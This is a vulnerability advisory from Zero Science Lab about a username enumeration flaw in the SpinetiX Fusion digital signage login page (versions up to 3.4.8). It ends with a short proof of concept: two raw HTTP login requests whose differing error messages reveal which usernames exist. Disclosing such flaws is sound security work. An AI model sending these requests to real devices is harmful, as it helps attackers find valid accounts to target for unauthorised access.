SpinetiX Fusion Digital Signage 3.4.8 Username Enumeration Weakness


Vendor: SpinetiX AG
Product web page: https://www.spinetix.com
Affected version: <= 3.4.8 (1.0.36274)

Summary: At SpinetiX we inspire businesses to unlock the potential of their story.
We believe in the power of digital signage as a dynamic new storytelling platform
to engage with people. For more than 13 years, we have been constantly innovating
to deliver cutting-edge digital signage solutions that help our customers shine.
Fusion is a built-in content management application accessible from a standard web
browser - it is pre-installed on every HMP200, HMP130, and HMP100 device, and does
not require any additional license, cost, or software installation.

Desc: The weakness is caused due to the login script and how it verifies provided
credentials. Attacker can use this weakness to enumerate valid users on the affected
node.

Tested on: Apache 2.2.34
           PHP/5.3.18-2
           Linux 2.6.10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5591
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5591.php


03.08.2020

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POST /fusion/index.php?r=users/login HTTP/1.1
Host: 192.168.1.1

User[username]=NonExisting&User[password]=blah&User[rememberMe]=0&yt0.x=0&yt0.y=0

Response: Username is incorrect.
HTML: <div class="user_password login"><div class="errorLogin">Username is incorrect.</div>

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POST /fusion/index.php?r=users/login HTTP/1.1
Host: 192.168.1.1

User[username]=admin&User[password]=blah&User[rememberMe]=0&yt0.x=0&yt0.y=0

Response: Password is incorrect.
HTML: <div class="user_password login"><div class="errorLogin">Password is incorrect.</div>